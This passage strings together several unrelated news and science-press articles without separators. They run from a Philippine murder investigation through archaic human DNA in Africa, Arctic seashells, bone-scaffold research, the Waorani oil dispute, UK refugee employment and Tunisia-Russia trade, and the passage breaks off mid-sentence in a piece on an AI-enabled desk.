recent test, the DNA samples obtained from the pair of scissors that were used in the crime matched with Llenes. The investigation also revealed that Llenes planned to kill the victim. Iyong neuro psychiatric test niya lumalabas na ginawa niya ang bagay na yun with discernment, at nasa matinong pag-iisip siya, at I think also iyong lie detector test niya ay consistent din. Although we are not using it doon sa pagfile ng kaso, pero its an aid for investigation para sa amin, Albayalde said. (Based on the neuro psychiatric test, he did the crime with discernment and with a sound mind. Also, his lie detector test was consistent. Although, we are not using it in the profile of the case, its an aid for investigation for us.) Albayalde also met with Silawans mother, Lourdes, who expressed concern after Lapu-Lapu City Chief of Police Colonel Lemuel Obon warned of charging her for obstruction of justice for not cooperating with the investigation. We assured her na wala namang ganoong mangyayari. We convinced her also na mag file siya ng statement niya dahil noong una, kaya siya nasabihan ng ganoon ay dahil ayaw niyang magbigay ng salaysay, Albayalde said. (We assured her that nothing like that will happen. We convinced her also to file her statement. She was warned like that because earlier, she refused to testify.) Although iyong complainant naman dito ay kami na, at nakafile na yung kaso, but then again also iba yung may salaysay ang immediate relatives, lalong lalo na siya yung nanay, he added. (Although we are the complainant, and the case has been filed already, it is still important for immediate relatives to issue their statements, especially since she is the mother.) Story continues Llenes is currently detained at the Lapu-Lapu City Police Office. Aside from the skinning of her face, Christine sustained multiple stab wounds in different parts of her body which eventually caused her death, based on authorities autopsy report. Marje Pelayo (with reports from Lea Ylagan) The post PNP has strong murder case vs. Cebu teens killer appeared first on UNTV News. The San are one of the ethnic groups that constitute the Khoisan, one of the populations studied. Credit: Centre for Genomic Regulation A new international study led by David Comas, principal investigator at UPFand at the Institute of Evolutionary Biology (IBE: CSIC-UPF), demonstrates for the first time using artificial intelligence that African populations hybridized with other extinct humans. The study is published today, 26 April, in the journal Genome Biology. Until now it was known that some extinct populations, such as Neanderthals or Denisovans, had mixed with modern humans outside Africa. However, in African populations no crossbreeding had been consistently demonstrated. Now, they have identified the introgression of an extinct line of humans in the DNA of present-day African populations. "This totally unknown archaic population mixed with the ancestors of Africans and their genes have been conserved in their genome until the present," explains David Comas, full professor of Biological Anthropology at the Department of Experimental and Health Sciences (DCEXS) at UPF. This totally unknown archaic population mixed with the ancestors of Africans and their genes have been conserved in their genome until the present. Belen Lorente-Galdos, one of the authors of the article says "the scenario we know in Africa of societies that mixed in a complex way during its recent history is just the tip of the iceberg of the evolutionary history of humans, and so it would appear complex from the beginning." Artificial intelligence to study the DNA of African populations The researchers conducted a study of modern genomes of different populations with a broad diversity of lifestyles, languages or geography in the African continent. By sequencing these current genomes they have demonstrated that some of them come from introgression. "By using artificial intelligence tools and complete genomes we have been able to infer the general history of the evolution of African populations," saysOscar Lao, principal investigator at the National Centre for Genome Analysis (CNAG-CRG), from the Centre for Genomic Regulation (CRG), also one of the authors of the study. "What has surprised us is that in order to describe the genetic diversity found in African populations today, the presence must be taken into account of an extinct archaic African population, with whom anatomically modern humans would have mixed," he adds. This result indicates that not only were there archaic populations different from the sapiens lineage outside Africa (such as Neanderthals or Denisovans), but that within this continent there were sub-populations with which anatomically modern humans who remained in Africa had offspring. By using artificial intelligence tools and complete genomes we have been able to infer the general history of the evolution of African populations. "This finding challenges the observations made previously on the crossbreeding of Neanderthals or Denisovans with European or Asian ancestors because Africans have always been taken as a model of population without introgression," explains David Comas, head of the Human Genome Diversity group at the IBE. "Our research leads one to question some assumptions established today based on the premise that the African population did not have introgressions," he adds. Belen Lorente-Galdos concludes, "our method has enabled clearly ruling out the prevalent model that does not consider archaic introgression in Africa. The new model we present has forced us, furthermore, to review the amount of DNA in people of Eurasian origin that comes from Neanderthals, which could be up to three times higher than had been estimated to date using the previous models." The study involved researchers from the Yale School of Medicine, the University of Taibah (Saudi Arabia), the University of Jendouba (Tunisia), IDIBELL, the University of Helsinki (Finland), the University of Witwatersrand (South to Africa) and the Lebanese American University. Explore further Artificial intelligence applied to the genome identifies an unknown human ancestor More information: Belen Lorente-Galdos et al. Whole-genome sequence analysis of a Pan African set of samples reveals archaic gene flow from an extinct basal population of modern humans into sub-Saharan populations, Genome Biology (2019). Journal information: Genome Biology Belen Lorente-Galdos et al. Whole-genome sequence analysis of a Pan African set of samples reveals archaic gene flow from an extinct basal population of modern humans into sub-Saharan populations,(2019). DOI: 10.1186/s13059-019-1684-5 Provided by Centre for Genomic Regulation Graduate student Caitlin Meadows standing on the deck of a ship they used to collect samples. Credit: CG Norcross Climate change results in warmer ocean temperatures, melting glaciers and more extreme weather patterns. Scientists have also observed its effects on the clams, snails, worms, crabs, urchins, starfish and more living on and in the deep seafloor off Alaska, as the ecosystem shifted from arctic to sub-arctic within the last few decades. Now, scientists at the University of Chicago and the University of Maryland Center for Environmental Sciences have found that seashells from these creatures show the same major regime change in Alaskan waters, where the ecosystem has shifted from arctic to sub-arctic within the last few decades. It is the first time that anyone has tracked ecosystem changes through seashell samples aloneand scientists hope it will offer a new tool to track climate change in regions where animal populations haven't been documented as fully. "The fact that dead shells record these changes so clearly opens up a much greater area of Arctic seafloors, where we can now test for major changes in seabed communities," said Susan Kidwell, the William Rainey Harper Professor of Geophysical Sciences, a leading scientist in the field of marine paleoecology and co-author of the study published on April 8. "Scientists weren't there to see all the changes that ecosystems have undergone, but now they might be able to reconstruct an ecological history from the Industrial Revolution on." A new method Since the 1980s, Jacqueline Grebmeier, study co-author and research professor at the University of Maryland Center for Environmental Science and a member of the steering committee for the Distributed Biological Observatory, has led annual surveys to test for shifts in animal populations linked to sea ice and water conditions in the Arctic Pacific. When Grebmeier's team hauls up live specimens for its survey, thousands of dead shells are dragged along. Previously the dead shells had been discarded, but UChicago graduate student Caitlin Meadows, the lead author on the study, realized this was an opportunity to test whether those shells reflected the same changes that ecologists observed, which could serve as a tool to recognize biological changes in less well-studied areas in the Arctic. Meadows analyzed more than 14,000 shells both to track abundancethe count of each animal by species and to calculate their organic carbon biomass, which reconstructs the original flesh content of shelled creatures using their body size as well as abundance. "Looking at changes in carbon biomass on the seafloor is a great way to tie into climate change," Meadows said. "We're able to see the changes in the amount of food and how that food is flowing through the ecosystem." Even though she considered only the shell-producing part of the community, Meadows confirmed what ecologists had already found: There has been a shift in the ecosystem. Specifically, Meadows observed that the past ecosystem preserved in dead shells was different from the current living ecosystem. She noted a shift toward Tellinidae, a family of bivalve mollusks that are generalist feedersa group of animals that can either eat food that has settled on the seafloor or filter food from water, so that they can survive in a changing ecosystem by filtering food from water or by eating deposits of food that have settled on the bottom. There was also a shift in biomass, from one set of bivalve species to another within each feeding groupmeaning new species took over these jobs in the ecosystem. This is part of a major shift in other seafloor animals in the same regiontoward worms and away from the small crustaceans that are key foods for large mammals like gray whales. UChicago graduate student Caitlin Meadows examines specimens taken from the Arctic ocean. Credit: CG Norcorss Finally, on the basis of dead shells, Meadows found that a subset of species that now lives only close to the Alaskan shore used to live in a larger range of seafloor habitats and out into deeper waters. "We've known for some time that these ecosystems are now quite different," Kidwell said. "There's been a real reorganization, reflecting a change in food, oxygenation and grain sizehow vigorous the bottom currents are. These factors are all driven by temperature change, but have a much bigger impact on an ecosystem than warming alone." All of these offsets between living animals and dead shells are found in locations where Grebmeier's group has independently demonstrated ecosystem change within the last 30 years. Since this new study detected similar numbers of living and dead bivalves even in regions where there wasn't an observed ecosystem change, they know it's not likely to be an error in sampling. "Dead shells thus work well to identify areas of recent ecosystem change, and do not produce 'false positives' where no change has occurred," Meadows said. A sea of change The Arctic Pacific off the coast of Alaska is an ecosystem with a high density of seafloor animals where "things change first and fast," according to Meadows. The quick change is due to a phenomenon known as Arctic amplification where, as reflective ice melts, newly exposed water and land absorb more heat from the sun, resulting in even more warming. "We were really able to isolate climate change as the driver of these shifts," Meadows said. "The Arctic doesn't have huge coastal settlements or intensive agriculture that might have affected coastal waters, and the study area is north of where most commercial fishing is permitted." Meadows and Kidwell hope that this method of using shells as a historical record of change will now serve as a tool for scientists studying other regions. "That window into the past can give us access to a much more complete picture of how the Arctic has been changing," Kidwell said. The shells Meadows studied are now being geologically age-dated to establish how long they have been accumulating, and thus how long ecological conditions had been stable before the recent regime change. Next, Meadows will travel to St. Petersburg, Russia to delve into the country's zoological museum collections for historical insights about that side of the Bering Sea, where the seafloor has been sampled as far back as the 19th century. Explore further Shifting bird distribution indicates a changing Arctic More information: Caitlin A. Meadows et al. High-latitude benthic bivalve biomass and recent climate change: Testing the power of live-dead discordance in the Pacific Arctic, Deep Sea Research Part II: Topical Studies in Oceanography (2019). Caitlin A. Meadows et al. High-latitude benthic bivalve biomass and recent climate change: Testing the power of live-dead discordance in the Pacific Arctic,(2019). DOI: 10.1016/j.dsr2.2019.04.005 Distinguished Professors Karolin Luger (left) and Natalie Ahn at the Jennie Smoly Caruthers Biotechnology Building. Credit: Glenn J. Asakawa / University of Colorado Boulder The complex inner workings of cells, from their architecture to their signaling, underlie much of multicellular organic life. How are they built? How do their proteins interact? And most crucially, how can understanding these functions improve our knowledge of biological outcomes such as disease? University of Colorado Boulder Distinguished Professors Karolin Luger and Natalie Ahn have studied questions such as these for decades. Last year, both were elected to the National Academy of Sciences, one of the most prestigious honors a scientist can receive. The duo will be formally inducted on Saturday, April 27 at the organization's annual meeting. "It's a high honor because it comes from peers," said Luger, the endowed chair of CU Boulder's Department of Biochemistry and a Howard Hughes Medical Institute Investigator. "It's primarily a wonderful acknowledgement of the collective work of all the former and present students, post-docs and technicians who have contributed to this research." Like an archeologist piecing together the origins of ancient structures, Luger and her students examine the fundamental building blocks of genomic processes and untangle their cellular machinery. Luger began her career with an interest in X-ray crystallography, a technique used to discern 3-D molecular structures. Eventually, her focus shifted to chromatin, the material that holds DNA, RNA and proteins together in a compact package within eukaryotic cells. As recently as the late 1980s, before the advent of the Human Genome Project, chromatin was thought to be unimportant, similar to packaging material that only serves to hold more valuable items inside. "It was a binary mentality back then, but it turned out to be much messier, with lots of variation between individual cells," Luger said. "The packaging, so to speak, has very important implications for how cell types differentiate." Imagine a space filled with labeled cardboard boxes full of books, she says. By reading the labels on the boxes, humans can discern which boxes they'll need soon and which ones they can safely stash away. Chromatin operates similarly: A fertilized egg cell needs everythingall the genomic information it can getwhereas a more mature cell, such as a liver cell, can read the packaging and know what it can safely ignore. Early advances in electron microscopy revealed chromatin's elegant structure, which appears as "beads on a string," dotted with nucleosomes. Luger went on to determine the structure of nucleosomes at near-atomic resolution, revealing the structure of DNA in all multicellular organisms More recently, Luger has been examining how and why many multicellular organismshumans, yeast, treesall fold their DNA using the same molecular mechanisms. In 2017, her lab and collaborators identified the microbes Archaea (which predate multicellular organisms by 3 billion years) as the likely 'inventors' of genome folding and nucleosome structure that we still observe today. "I'm always interested in how these structures came about," she said of the evolutionary discovery. "It's a lot of work to bend DNA, and Archaea had developed a nifty system to do this, which was then appropriated and further refined by the first eukaryotic organisms." Luger credits her students and post-doctoral researchers for their painstaking work on these research topics, adding that she deliberately recruits from different backgrounds such as physics, cell biology and chemistry in order to cultivate interdisciplinary problem-solving. "Students come in with new ideas for everything and help me view a scientific problem from all angles," she said. "You have to let yourself be challenged." Ahn arrived at CU Boulder over 25 years ago, bringing expertise in the field known as signal transduction, which involves enzymatic processes that allow cells to respond to external signals. Ahn was the first to describe the enzyme known as mitogen-activated protein kinase kinase (MAP2K), now known to be a crucial activation point in some types of cancer, particularly melanoma. Upon arriving at CU Boulder, she and her new lab proved that aberrant activation of MAP2K causes cancer, making this enzyme a viable target for therapeutic intervention. The ubiquity of MAP2K in all cellshealthy and diseased alikeled to initial skepticism that it could be a useful drug target, Ahn said, but several cancer-inhibiting treatments focusing on MAP2K have subsequently been approved by the FDA for clinical use. "Many thought these would never become drug targets because there might be too many side effects," Ahn said. "But it turned out that, remarkably, the drugs are actually very well tolerated, even more so than chemotherapy." Ahn was also a pioneer in the field of proteomics, which determines the chemistry of proteins by "weighing" molecules using a technology called mass spectrometry. She was an early investigator to adopt proteomics technologies, and use them to study signal transduction. Proteomics is now widely applied in all aspects of biosciences. For Ahn, her election to the NAS came as a pleasant surprise, the culmination of a long career in basic research that has yielded promising avenues for clinical discoveries. "I can't quite believe it, but I'm grateful and lucky enough to have really great scientists as colleagues," Ahn said. "The university gave me the space to be creative in my research." The dual NAS recognition also speaks to the cumulative strength of CU Boulder's biochemistry discipline, which recently became a stand-alone academic department in the College of Arts and Sciences. "Abraham Lincoln founded the National Academy of Sciences to give trustworthy scientific advice to the President," said Distinguished Professor Thomas Cech, CU Boulder's first Nobel laureate and the director of the BioFrontiers Institute. "Being elected to the NAS is a rare honor, and in a typical year zero or one scientist might be elected from the entire state of Colorado. So for a single department to have two of its faculty elected in the same year is therefore rare and it's worthy of celebration!" "This is an amazing department with a strong teaching mission," Luger said. "We always have undergraduates participating in the labs who bring a lot of excitement and energy. There is tremendous opportunity here." Explore further Origins of DNA folding suggested in archaea Photograph of foamed composite scaffolds used for cell culture (a). SEM images of non-foamed (b) and foamed gelatin scaffolds (c). SEM image of separated ormoHAP particles, scale bar: 10 m (d). Light microscopy images of semi-thin sections of gelatin scaffolds without (e) and with 40% ormoHAP (f). Credit: Biomedical Materials, doi: 10.1088/1748-605X/ab0fad Bioinspired materials mimic their natural counterparts for characteristic functionality in multidisciplinary applications forming a popular theme in biomaterials development. In bone tissue engineering, for instance, researchers focus on the natural composite architecture of bone, organically designed from complex structures of mineralized collagen. The resulting bioengineered constructs include inorganic/organic composites based on native mammalian bone components such as carbonated apatite and collagen. However, microparticle incorporation to material constructs can cause complications during premature in vivo resorbability, due to their brittle nature. In a recent study, now published in Biomedical Materials, IOP Science, Christiane Heinemann and co-workers at the Max Bergmann Center of Biomaterials and Institute of Materials Science in Germany, engineered isolated nanospheres using organically modified hydroxyapatite (ormoHAP) to form a composite scaffold aligning with preceding work of the same research team. Heinemann et al. engineered the new biomaterial using an electric field-assisted ion double migration process and embedded the nanospheres thus formed, in the foamed gelatin organic template, to form the composite scaffold. The scientists tested the biodegradation rates of the biomaterials to show that they correlated with the degree of crosslinking (40%, 80%) conveyed during scaffold preparation and with the mineral content of the scaffolds (0%, 20%, 40%). They used a human cell co-culture model of osteoblasts and osteoclasts derived from bone marrow stromal cells and monocytes, to test the impact of ormoHAP-gelatin scaffolds on cell growth and differentiation for a period of 42 days. The results confirmed that ormoHAP embedded in the gelatin matrix enhanced TRAP5b bioactivity (Tartrate-resistant acid phosphatase 5b); a group of enzymes synthesized in bone, followed by increased ALP activity (alkaline phosphatase, an osteoblast marker) and increased gene expression of BSPII (bone sialoprotein II encoding a major structural protein of the bone matrix) in osteoblasts. The scientists proposed a sequence of cell cross-talk interactions, due to the presence and concentration of ormoHAP in the material, to explain the observed behavior in cell co-cultures in vitro. SEM images of foamed scaffolds without mineral (a), (d), with 20% ormoHAP (b), (e) or with 20% commercially available HAP (c), (f). Scale bars represent 20 m (top column), and 5 m (bottom column). Credit: Biomedical Materials, doi: 10.1088/1748-605X/ab0fad The hydroxyapatite (HAP) nanocrystals self-assembled in the organic environment to form hollow spherical agglomerates in the experiments, which the scientists first characterized in depth due to their role in forming the bone substitute materials (BSM). Heinemann et al. chose gelatin as the underlying scaffold matrix material due to its compatibility with the electric field-assisted mineral formation process of nanospheres, while both constituents of the composite (HAP and gelatin) showed cytocompatibility during cell-material interactions as shown in previous studies in vitro. Gelatin is a well-suited constituent to form bioinspired materials for bone tissue engineerng, as it is a denaturation product of collagen, with abundant availability, processability, biodegradation and low antigenicity; suited to develop new biomaterials. Materials scientists previously developed similar constructs as gelatin/alginate, gelatin/chitosan, gelatin/TCP or gelatin/HAP composite scaffolds, where mineralized composites facilitated cell proliferation compared to monophasic substrates. In vitro experiments with co-cultures of diverse cell types are better suited to test biomaterials as they represent the natural conditions of intercellular interaction to simulate cell regeneration. To more accurately replicate the conditions in vivo, Heinemann et al. previously conducted supplement-free co-cultures with osteoblasts and osteoclasts to test biomaterials during material-assisted bone regeneration. The work indicated the requirement of balanced crosstalk between bone-forming osteoblasts and bone-resorbing osteoclasts either via soluble factors or direct cell-cell contact, for efficient bone remodeling. Degradation of gelatin scaffolds in PBS (a)(c) and SBF (d) without, with 20% and with 40% ormoHAP as well as high and low cross-linking degree. Mass loss (a) and release of protein (b) as well as calcium (c), (d) in the supernatant were determined. Credit: Biomedical Materials, doi: 10.1088/1748-605X/ab0fad The scientists therefore unified the results of many previous studies in the present work, to determine the formation of bone-tissue like extracellular matrix deposits guided by the underlying biomaterial. Heinemann et al. co-cultured human bone marrow stromal cells (hBMSC) with human osteoblasts (hOB), and human monocytes (hMc) with human osteoclasts (hOC), without supplements on 3D composite (ormoHAP/Gelatin) scaffolds. They then conducted cell-material characterizations (tests) to investigate the influence of the organically modified HAP nanospheres (ormoHAP) on cell behavior and interactions in the lab. The scientists first engineered a variety of composites with ormoHAP embedded in gelatin to create multiple scaffolds for cell culture experiments, followed by testing them with scanning electron microscopy (SEM) images to understand the micro-/nano- architecture of the new material. They observed distinct surface patterning on the gelatin matrix due to homogenous ormoHAP distribution. Heinemann et al. produced a variety of such stable scaffolds on chemically crosslinked gelatin organic templates and tested their degradation behavior using buffer (phosphate buffered saline, PBS) or simulated body fluid (SBF) media to closely mimic in vivo biological conditions in the lab. 3D reconstructions from confocal laser scanning microscopy (cLSM) image stacks at day 28-42 of hOB/hOC co-cultivation on gelatin scaffolds without (a), (b), with 20% (c), (d) and with 40% ormoHAP (e), (f). In the left column, actin (green), cell nuclei (blue) and CD68 (red) are visible; in the right column, actin (red), cell nuclei (blue) and TRAP (green) are visible. Credit: Biomedical Materials, doi: 10.1088/1748-605X/ab0fad The scientists determined the effects of the percentage of gelatin cross-linking and the concentration of ormoHAP on the bioactivity and degradation of the new material, with comparative studies. In degradation studies with SBF or PBS, scaffolds with a lower degree of cross-linking degraded much faster, than those with higher cross-linking. By day 56, the scientists observed higher levels of bioactivity on scaffolds with 20 percent ormoHAP; determined by quantifying the levels of surface bound calcium. Although a concentration of 40 percent ormoHAP showed promising results initially, the values of surface-bound calcium decreased with time. During co-culture experiments Heinemann et al. therefore compared two different concentrations of ormoHAP (20 percent and 40 percent), alongside scaffolds made of pure gelatin alone. The scientists strategically conducted cell culture studies from day 14 to day 28 and up until day 42, then using DNA analysis they quantified the cell nuclei and calculated the rate of cell proliferation to assess the total number of cells on the material surfaces, with no significant difference observed between the surfaces. They quantified ALP activity, to assess osteogenic differentiation in monoculture and co-culture, which decreased after 14 days as cell maturation increased. To investigate the differentiation of hMc to hOB in co-culture, the scientists quantified TRAP5b activity, which remarkably increased with increasing ormoHAP content in the scaffold composition for material-assisted cell growth. By day 42 however the rates of enzyme activity decreased due to the limited lifespan of osteoclast cells. Heinemann et al. next conducted confocal laser scanning microscopy (cLSM) imaging to investigate co-culture interactions on the scaffold. LEFT: Ortho-representation of TRAP-positive monocyte-derived osteoclasts after d28-d42 of co-cultivation on gelatin scaffolds with 40% ormoHAP. The images show a single slice of the stack and cross-sections along the colored lines. The actin skeletons (red), the nuclei (blue) and TRAP (green) are visible. RIGHT: Gene expression of the osteoblast-related markers ALP, BSP II, OC, RANKL and IL-6 (left) and the osteoclast-related markers TRAP, OSCAR, CALCR, VTNR and CTSK (right), as well as the housekeeping gene GAPDH, after d42/d28 of co-cultivation of hBMSC/hOB and hMc/hOC on gelatin scaffolds without (0%) ormoHAP, with 20% and with 40% ormoHAP. Credit: Biomedical Materials, doi: 10.1088/1748-605X/ab0fad They observed the cell co-cultures displaying green actin skeleton, blue cell nuclei using fluorescent makers and used a red cell surface antigen marker (CD68) to detect the monocytes (hMc). Using microscopic images, the scientists observed varying cell morphology from spindle-shape to spherical-shape, detailing how cells interacted with the underlying new material. They detected TRAP, as brightly stained spots of green, increasingly concentrated within cells as the ormoHAP levels on the material surface increased, to highlight the effect of material-assisted cell growth. Heinemann et al. finally conducted gene analysis to determine the upregulation of specific markers related to cell differentiation using quantitative real-time polymerase chain reaction (qRT-PCR). Notably they investigated BSPII (bone matrix encoding protein), RANKL (receptor activator of NF- B ligand) involved in bone modeling/remodeling and the osteoclast maker OSCAR (osteoclast associated Ig-like receptor) that resorb bone - essential for bone homeostasis. The results indicated the upregulation of BPSII and OSCAR, verifying material-assisted cell differentiation in the present work. In this way, Heinemann et al. extensively characterized cell-material interactions to understand the new, bioinspired ormoHAP materials during biofunctionalization . They showed the influence of the new scaffold-geometry on bone forming and resorbing cells, and on inter-cellular interactions with each other, using the cell co-culture study. The results will allow the scientist to achieve optimized production conditions to further improve and develop materials constructs for bioinspired materials engineering. The increased concentration of ormoHAP in the scaffolds stimulated cellular cross-talk between osteoblasts and osteoclasts as evidenced with specific markers of gene upregulation, with promising implications for further investigations of the new materials in bone tissue engineering. More information: 1. Organically modified hydroxyapatite (ormoHAP) nanospheres stimulate the differentiation of osteoblast and osteoclast precursors: a co-culture study 1. Organically modified hydroxyapatite (ormoHAP) nanospheres stimulate the differentiation of osteoblast and osteoclast precursors: a co-culture study iopscience.iop.org/article/10. 088/1748-605X/ab0fad Christiane Heinemann et al. 15 April 2019, Biomedical Materials, IOP Science. 2. Electric field-assisted formation of organically modified hydroxyapatite (ormoHAP) spheres in carboxymethylated gelatin gels www.ncbi.nlm.nih.gov/pubmed/27544814 Christiane Heinemann et al. October 2016, Acta Biomaterialia. 3. Stimulation of osteoblast responses to biomimetic nanocomposites of gelatin-hydroxyapatite for tissue engineering scaffolds www.ncbi.nlm.nih.gov/pubmed/15792549 Kim HW et al. September 2005, Biomaterials. 2019 Science X Network A Waorani indigenous man takes part in a march over oil exploration in his ancestral lands Spears and poisoned blowguns at hand, the Waorani people say they are ready to strike down invaders of their Amazon homelands, just like their forefathers did. But now their battle is in court, and their enemiesEcuador's government and oil multinationalsare faceless. The prize is their corner of Ecuador's Amazon rainforest, ancestral lands where exploration licenses are up for grabs under a government plan to sell lucrative land concessions to oil companies. A judge in the provincial capital Puyo is to rule on Friday on the tribe's legal challenge to the government's selloff, and a shiver of apprehension is running through their village of Nemompare, deep in the dripping rainforest. "The government sees oil and money but the Waorani see it is full of life," says community leader Nemonte Nenquimo. The 4,000 or so Waorani scattered across the vast Pastaza province in eastern Ecuador believe their land is the front line in a battle for the future of the planet. Some communities have rejected all contact with the outside world, but the Waorani are sufficiently worldly to know that the battle is being lost elsewhere. Time to act "Humans are changing the planet because big companies, big factories are destroying it. It is the moment now for the peoples to join and protest, to live well. If we don't protest, if we don't carry out actions, it means we are destroying the planet," said Nenquimo. The 4,000 or so Waorani scattered across the vast Pastaza province in eastern Ecuador believe their land is the front line in a battle for the future of planet The tiny settlement of Nemompare is home to around 50 Waos. Many flit through the thick leaves along the shaded forest pathways in scant traditional garb as they gather leaves for weaving or plants for food. Others wear shorts and tee-shirts. The men use blow-guns to hunt small animals. Debanca, another community leader, her face painted red underneath a feathered headdress, gestured across the muddy brown Curaray river on the settlement's edge. "Do you want oil companies to enter and kill the jungle, do away with clean territory, with clean water?" she asked AFP's reporters through an interpreter. The settlement is located 40 minutes by small plane from Shell, the local town that adopted the oil company's name since its first incursion into the jungle in the late 1930s. With the support of other Wao communities across the province, the Nemompare community went to court to try to block exploration licenses to prevent more destruction of the kind which contaminated their water and gouged out large areas of once-pristine rainforest. "I am not here for myself, rather for the future, all the kids that will come," says Nenquimo, president of the Waorani Council of Pastaza, which filed the lawsuit last month to set aside 180,000 hectares from any exploration. "Thanks to my father, thanks to my grandfather, I still have forest that is alive, with no contamination. They were defenders, caretakers, guardians of the jungle and they are doing this with meI don't feel alone." With the support of other Wao communities across the province, the Nemompare community went to court to try to block exploration licenses to prevent more destruction of the kind which contaminated their water and gouged out large areas of once-pristine rainforest Defend the jungle 'with our lives' In Nemompare, the Wao store rainwater in huge tanks for their consumption, supply themselves with energy with solar panels and sleep in hammocks. Although they learned to write with the "Kowori" or outsidersmainly missionariesthey do not use paper. Instead, they keep alive their unique language, wao terere. Sitting near an open fire in the center of a hut, Wina Omaca, a grandmother recognized as a wise elder or "Pekenani," summed up the mood of resistance. "It's not just the 'tapaa' (spear), but the 'campa' and 'aweka' (machete and hatchet) are ready too," she said. Nobody speaks of armed resistance here, let alone a war, but the message appears to be that the Waorani could turn their home into hostile territory for oil company engineers. "Let it be clear. We will defend our jungle, our culture and our rights, with our lives," said Nenquimo. Ecuador's constitution recognizes the Waorani rights to 800,000 hectares of jungle. Crucially, the wealth in the subsoil belongs to the state. The legal challenge to safeguard 180,000 hectares represents less than 1 percent of Ecuador's area. Ecuador's constitution recognizes the Waorani rights to 800,000 hectares of jungle; crucially, the wealth in the subsoil belongs to the state The state reached an agreement with the Waorani during a consultation process over oil exploration in 2012, but the tribe's leaders say they were duped and refuse to recognize the agreement. 'Our land is not for sale' For now the fight is in the courts, but there are fears over their reaction to an adverse decision. Two of the more far-flung clans, the Taromenane and Tagaeri have been involved in deadly clashes. "They have not had a friendly relationship," said Miguel Angel Cabodevilla, a Spanish missionary who has studied the tribe for three decades. Tribal elders reported between 20 and 30 dead in clashes in 2013. But "the main violence has been against them, almost always, and been more aggressive," said Cabodevilla. "Their lands have been taken from them, they have been persecuted and killed, they have been enslaved, and now the wealth in the subsoil is being taken from them without adequate compensation." Tribal elder Peke Tokarehis earlobes stretched by wooden discspoints a long finger at the slogan on his tee-shirt, written in wao terere: "Our land is not for sale." Explore further Amazon peoples change ancestral ways to save forest 2019 AFP Efforts to help refugees who have settled in the UK to integrate into British society have been constrained by the lack of information on the short- and long-term outcomes of refugees, a new report by The Centre on Migration, Policy and Society (COMPAS) at the University of Oxford, reveals today. The report identifies information on jobs and the labour market as particular gaps. The report, launched today, Refugees and the UK Labour Market investigates how those who migrated to the UK for asylum reasons fare in the British labour market and identifies a number of barriers members of this group face in seeking work. This is despite facilitating the integration of refugees being an important objective of civil society organisations and government departments at the local and national level. The reportthe concluding summary of The Economic Integration of Refugees in the UK project, a two-year study financed by a grant from the Nuffield Foundationfocuses on 'asylum migrants'. Asylum migrants include all those who reported moving to the UK for asylum reasons, though for most their continued residence in the UK is not now dependent on refugee status. Most asylum migrants have spent many years in the UK and are now British nationals. This group should not be confused with 'asylum seekers', who are individuals waiting for a decision on their asylum application and are not the focus of the report. The report compares the economic outcomes of asylum migrants with those of UK-born individuals and with those of other migrants who moved to the UK for employment, family, and study reasons. The data in the report comes from the UK Labour Force Survey, the largest household survey in the UK, which provides the official measures of employment and unemployment covering the period from 2010 to 2017. Key findings of the report include: Asylum migrants are less likely to be in employment than individuals born in the UK and other migrant groups. The employment rate among asylum migrants is 51%, compared with 73% for the UK-born. The gap narrows over time but remains present even after more than 25 years of residence in the country. Asylum migrants who are employees earn less and work fewer hours than UK-born and other migrant workforces. Asylum migrants earn an average of 9 per hour and 284 per week55% less per week than the UK-born and 38% less per hour. Asylum migrants are more likely to be in self-employment than the UK-born and other migrants. In total, 21% of asylum migrants in employment are self-employed compared to 14% among UK-born workers. Self-employed asylum migrants are more likely to have employees than self-employed UK born. Unemployed asylum migrants are more likely to rely on public agencies (e.g. job centres) to look for jobs. In total, 37% of unemployed asylum migrants used public agencies as their main job search method. This is about twice the rate of UK-born unemployed job-seekers. Asylum migrants are more likely to report a long-term health condition that affects their labour market performance. Close to 37% of asylum migrants report a health condition lasting longer than 12 months. The likelihood of reporting this type of condition is 4 percentage points greater among asylum migrants than the UK-born. Dr. Carlos Vargas-Silva, COMPAS Research Director and Principal Investigator of the project said: "Naturally, we found that asylum migrants who have often fled conflict and other traumaare more likely to suffer long-lasting health problems that affect their ability to work than people born in the UK and other migrants. So an important recommendation is that when allocating funding geared towards the economic integration of asylum migrants, governments should first address health issues that impede work performance, including mental health. This could lead to better labour market outcomes for this group in the future. "One encouraging finding is that those individuals who came to the UK for asylum reasons are more likely than the UK born or other migrants to be in self-employment and to employ other people though their businesses are often small. Policy interventions directed at boosting entrepreneurial potential among refugees and post-asylum settled migrants should consider the factors that limit the growth of these businesses such as limited access to finance". The report also suggests that unemployed asylum migrants rely heavily on public agencies notably job centresfor their job searches, but that this is not particularly effective. Future analysis should investigate how agencies could serve asylum migrants more effectively, for example, through employment advisers providing specialist support and careers guidance. The research also identified that lengthy legal restrictions to access the labour market while asylum claims are being evaluated can have adverse long-term consequences for mental health. Support from voluntary agencies could identify training and support programmes to help address these issues. Tunisia and Russia are contemplating the setting up of a free trade area. The project was discussed at the 7th session of the Tunisian-Russian Joint Economic Commission held Friday in Tunis. Tunisia and Russia will examine the procedures needed to establish a free trade zone between the two countries, Trade Minister Omar Behi was quoted by Tunisian news agency TAP as saying after the meeting. Tunisia aims to attract more Russian investments, especially in the automotive sector, which interests many Russian companies, Behi said, addingb that the country will serve as a platform for Russian investors to conquer new African and European markets regarding its proximity to these markets. Tunisia has partnership agreements with the European Union and the Common Market for Eastern and Southern Africa (COMESA), he recalled. Vice President of the Russian Government Vitaly Mutko stressed that both countries are keen to foster mutually beneficial cooperation relations. Russia is interested in promoting its investments especially in the sectors of energy, transport, mechanical engineering, infrastructure, agriculture, he said. Nine Russian companies currently operate in Tunisia, representing an investment of about 6 million and providing 780 jobs. These companies operate mainly in the pharmaceutical, agricultural and consulting industries. The trade balance shows a huge deficit to the detriment of Tunisia with a very low coverage rate that does not exceed 4%, according to TAP. Imports consist mainly of energy products and raw materials, while exports consist of agricultural and chemical products. The Joint Commission discussed the possibilities of establishing a legal framework to develop collaborative relations, particularly at the level of trade, to support Tunisias efforts to promote exports to Russian distribution channels. Credit: CC0 Public Domain Statistics show that if you're reading this at work, you're likely indoors at a table or a desk. If so, pause for a moment: How's your posture? Is the room temperature comfortable? Lighting OK? In the U.S., 81 million office workers spend at least 75% of the day at a desk, and logging long hours in front of screens has been linked to significant health conditions, including heart disease and diabetes. There has to be a better way of doing work. Shawn C. Roll of the USC Mrs. T.H. Chan Division of Occupational Science and Occupational Therapyalong with a team from USC and global design and engineering firm Arupwas recently awarded a $667,000 grant from the National Science Foundation to design a workstation that uses artificial intelligence. More than a smart desk that interacts with connected 